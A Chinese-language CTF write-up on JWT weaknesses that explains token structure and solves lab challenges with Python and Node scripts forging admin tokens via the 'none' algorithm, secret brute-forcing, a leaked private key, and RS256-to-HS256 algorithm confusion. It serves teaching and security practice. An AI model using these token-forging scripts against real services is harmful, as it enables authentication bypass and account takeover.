jwt安全问题

2023-11-01

jwt安全问题

jwt简介

JWT的全称是Json Web Token,遵循JSON格式,跨域认证解决方案,声明被存储在客户端,而不是在服务器内存中,服务器不保留任何用户信息,只保留密钥信息,通过使用特定加密算法验证token,通过token验证用户身份,基于token的身份验证可以替代传统的cookie+session身份验证方法。

jwt就是可以用来验证身份的东西

jwt组成

格式为:

header.payload.signature

1.png

header

heade部分最常见的两个字段是alg和type,alg指定了token加密使用的算法(最常用的HMAC和RSA算法)。type类型为JWT。

{
	"typ":"JWT",
	"alg":"HS256"
}
payload

payload则为用户数据,如一次登录的过程可能会传递一下数据

{
    "user_role" : "finn",    	//当前登录用户
    "iss": "admin",          	//该JWT的签发者,有些是URL
    "iat": 1573440582,        //签发时间
    "exp": 1573940267,        //过期时间
    "nbf": 1573440582,        //该时间之前不接收处理该Token
    "domain": "example.com",   //面向的用户
    "jti": "dff4214121e83057655e10bd9751d657"   //Token唯一标识
}
signature

这一部分的功能是保护token完整性,生成方式是将header和payload两个部分链接,然后通过Header部分指定的算法,计算签名。计算公式如下:

signature = HMAC-SHA256(base64urlEncode(header) + '.' + base64urlEncode(payload), secret_key)

header和payload部分的编码方式为base64urlencode,base64url编码是不会再末尾填充"=“号,并且将”+“替换成”-“、”/“替换成”_"

潜在漏洞

● 签名未校验

● 算法被篡改

● 敏感信息泄露

● 加密算法不安全

● 伪造密钥(CVE-2018-0114)

空加密算法

JWT支持空加密算法,可以在header中指定alg为None,这样的话,只要把signature设置为空,即不添加singature字段,提交到服务器,任何token都可以通过服务器的验证

格式:header+"."+payload+"."

空加密算法本身是为了调试方便,在生产环境中开启空加密模式,缺少签名保护,攻击者只要把alg字段设置成none,就可以在payload中构造身份,伪造用户身份。

web346

jwt

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5MzI5NzA2MCwiZXhwIjoxNjkzMzA0MjYwLCJuYmYiOjE2OTMyOTcwNjAsInN1YiI6InVzZXIiLCJqdGkiOiIxZWNlMTU0MmRhNWYxNWE1ZDVhZjA5MTFhYjMzOGZiNCJ9.oNpq8ct6U2x6bVlBdg7MtjhtlBuF6KXveFNxFnwBdNE

解密看看:

image-20230829162321891

我们需要将其改为admin

但是这里存在空加密算法,我们直接把算法换为none即可

import jwt

# payload
token_dict = {
    "iss": "admin",
    "iat": 1610432484,
    "exp": 1610439684,
    "nbf": 1610432484,
    "sub": "admin",
    "jti": "efec0205f601a537847ee2dd3ffa81ff"
}

# headers
headers = {
    "alg": "none",
    "typ": "JWT"
}

jwt_token = jwt.encode(token_dict,
                       key='',
                       headers=headers,
                       algorithm="None",
                       )

print(jwt_token)

# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYxMDQzMjQ4NCwiZXhwIjoxNjEwNDM5Njg0LCJuYmYiOjE2MTA0MzI0ODQsInN1YiI6ImFkbWluIiwianRpIjoiZWZlYzAyMDVmNjAxYTUzNzg0N2VlMmRkM2ZmYTgxZmYifQ.
密钥爆破

对 JWT 的密钥爆破需要在一定的前提下进行:

  • 知悉JWT使用的加密算法
  • 一段有效的、已签名的token
  • 签名用的密钥不复杂(弱密钥)
web348
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5MzI5MTMyMSwiZXhwIjoxNjkzMjk4NTIxLCJuYmYiOjE2OTMyOTEzMjEsInN1YiI6InVzZXIiLCJqdGkiOiIxOWJhNDAxOTNjYTRjZTIzNGI1MzIxZDQ4OTgwNzA3MSJ9.ijdyfitTWJEbrOXhQPl5pQkwh--II1jFoV0OY2w7VGo

借助c-jwt-cracker项目:https://github.com/brendan-rius/c-jwt-cracker

image-20230829163619492

敏感信息泄露
web349

私钥泄露了

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
	jwt.verify(auth, cert, function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});

访问/private.key可以获得私钥,所以我们可以根据私钥,生成一个新的jwt token

import jwt

private = open('private.key', 'r').read()
payload = {"user": "admin"}
print(jwt.encode(payload, key=private, algorithm='RS256'))

修改算法RS256为HS256

(非对称密码–>对称密码)

JWT中最常用的两种算法为HMACRSA

HMAC(HS256):是一种对称加密算法,使用秘密密钥对每条消息进行签名和验证
RSA(RS256):是一种非对称加密算法,使用私钥加密明文,公钥解密密文。

在这两种算法中都是使用私钥对signature字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。

如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。更改算法为HS256,即不存在公钥私钥问题,因为HMAC对称密码算法只有一个key

web350

这里公钥泄露了,我们直接修改加密算法为HS256,此时服务端会使用公钥进行校验

import jwt

public = open('public.key', 'r').read()
payload = {"user": "admin"}
print(jwt.encode(payload, key=public, algorithm='HS256'))

或者使用nodejs:

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

jwt安全问题 的相关文章

随机推荐

  • unity shader中的矩阵变换知识

    提要 在图形的计算中 比如旋转 缩放 平移 投影等操作 矩阵都扮演着极其重要的角色 它是操作图元的基本工具 虽然很多的图形API已经封装好了这些矩阵操作 但是理解这些矩阵操作的原理会非常非常有帮助 比如说我们可以通过一些矩阵的快捷计算来加速
  • Windows下切换进程用户名为当前用户名,而不是SYSTEM

    在windows操作系统中 某些情况下 我们需要将程序以管理员身份启动 通过任务管理器我们可以看到程序的持有者 如下图所示 使用SYSYTEM权限启动的程序 理论是不可以访问到当前用户下的部分目录 这个时候我们可以在必要时候切换成武到当前用
  • HTML+CSS项目案例

    文章目录 1 表格练习 2 文本样式练习 3 图片标签练习 4 盒子模型练习一 5 盒子模型练习二 6 盒子模型练习三 7 浮动练习 8 边框练习一 9 边框练习二 10 图文混排 11 列表练习 1 表格练习 案例演示 table tr
  • [数据库与软件工程]三、关系运算(并、交、笛卡尔积,自然连接等)

    目录 一 前言 二 简单的关系运算 并 交 差 并 Union 交 Intersection 差 三 复杂的关系运算 笛卡尔积 自然连接 一 笛卡尔积的数学定义 二 关系运算中的笛卡尔积 1 笛卡尔积是什么 2 如果两个关系有同名属性怎么计
  • 2023华为od机试统一考试B卷【增强字符串】

    前言 本题使用的Java语言 如果需要python语言 请参考以下链接 python版本题解 题目描述 请你实现一个增强版的strstr函数 他的功能是使用带有可选段的字符串进行模糊查询 与strstr函数相同 该函数在源字符串中查找第一次
  • 数组实现动态的原理

    重新申请一个二倍大小的数组 然后拷贝过去
  • “陷阱”病毒源代码大揭密

    7月初在我国出现了一种名叫 陷阱 Trap 的新型恶性病毒 并在7月5日全面爆发 目前国内已有不少的网站和用户遭受 陷阱 的袭击 造成网络系统瘫痪 文件丟失现象严重 该病毒是一种网络脚本语言病毒 并是同时使用了VBScript 和 Java
  • Android Q深色模式及源码解析,实战解析

    frameworks base libs hwui renderthread RenderProxy cpp void RenderProxy setForceDark bool enable mRenderThread queue pos
  • 实际用户ID,有效用户ID及设置用户ID

    实际用户ID 有效用户ID和设置用户ID 看UNIX相关的书时经常能遇到这几个概念 但一直没有好好去理清这几个概念 以致对这几个概念一直一知半解 今天好好区分了一下这几个概念并总结如下 说白了这几个UID引出都是为了系统的权限管理 下面分别
  • QT自定义QTableWidget

    目录 QT自定义QTableWidget 1 实现效果 2 具体实现 1 表格QTabelWidget 2 表头QHeaderView 3 插入数据 QT自定义QTableWidget 1 实现效果 2 具体实现 1 表格QTabelWid
  • 接口性能测试 —— Jmeter并发与持续性压测

    接口压测的方式 1 同时并发 设置线程组 执行时间 循环次数 这种方式可以控制接口请求的次数 2 持续压测 设置线程组 循环次数 勾选 永远 调度器 持续时间 这种方式可以控制压测周期时间 指定并发数 例1 设置线程数 10设置执行时间 0
  • WPF的MVVM框架Stylet开发文档 19. 杂项

    19 杂项 19 1标示值 文档地址 有时候你想要展示一个对象给用户 但是想要为它关联一个自定义的 字符串 标签 这个标签会在你的视图中显示 于是你创建了一个简单的类来包装你的对象 并附加这个标签 然后你会想要重写 ToString 以便你
  • 推荐系统指标——Hit Ratio(HR)

    我现在读过的文献里有两种定义 第一种 Deep Collaborative Filtering with Multi Aspect Information in Heterogeneous Networks 中提到的 原文中提到 where
  • 2023,你了解Kafka吗?深入详解

    消息队列的核心价值 解耦合 异步处理 例如电商平台 秒杀活动 一般流程会分为 1 风险控制 2 库存锁定 3 生成订单 4 短信通知 5 更新数据 通过消息系统将秒杀活动业务拆分开 将不急需处理的业务放在后面慢慢处理 流程改为 1 风险控制
  • IntelliJ IDEA在java开发工作中的使用总结(实用插件,快捷键,debug等)

    今天总结一下idea在工作中一些实用的小技巧 记得多少学多少 之后会继续更新补充 如果您有一些小技巧 插件 也欢迎在评论区中分享出来 1 插件篇 1 Alibaba java coding Guidelines 阿里代码规范 这个插件可以帮
  • MODBUS-RTU通讯协议简介

    MODBUS RTU通讯协议简介 什么是MODBUS MODBUS 是MODICON公司最先倡导的一种软的通讯规约 经过大多数公司 的实际应用 逐渐被认可 成为一种标准的通讯规约 只要按照这种规约进行 数据通讯或传输 不同的系统就可以通讯
  • plsql中函数调用java

    一 plsql中函数调用java 1 在plsql中先写一个函数 create or replace function test create id return number is language java name Generator
  • 机器学习之集成学习算法

    一 集成学习算法简介 1 1 什么是集成学习 集成学习通过建立几个模型来解决单一预测问题 它的工作原理是生成多个分类器 模型 各自独立地学习和作出预测 这些预测最后结合成组合预测 因此优于任何一个单分类的做出预测 1 2 复习 机器学习的两
  • JQUERY点击滚动到锚点

    document ready function a topLink click function html body animate scrollTop this attr href offset top px duration 500 e
  • jwt安全问题

    文章目录 jwt安全问题 jwt简介 jwt组成 header payload signature 潜在漏洞 空加密算法 web346 密钥爆破 web348 敏感信息泄露 web349 修改算法RS256为HS256 web350 jwt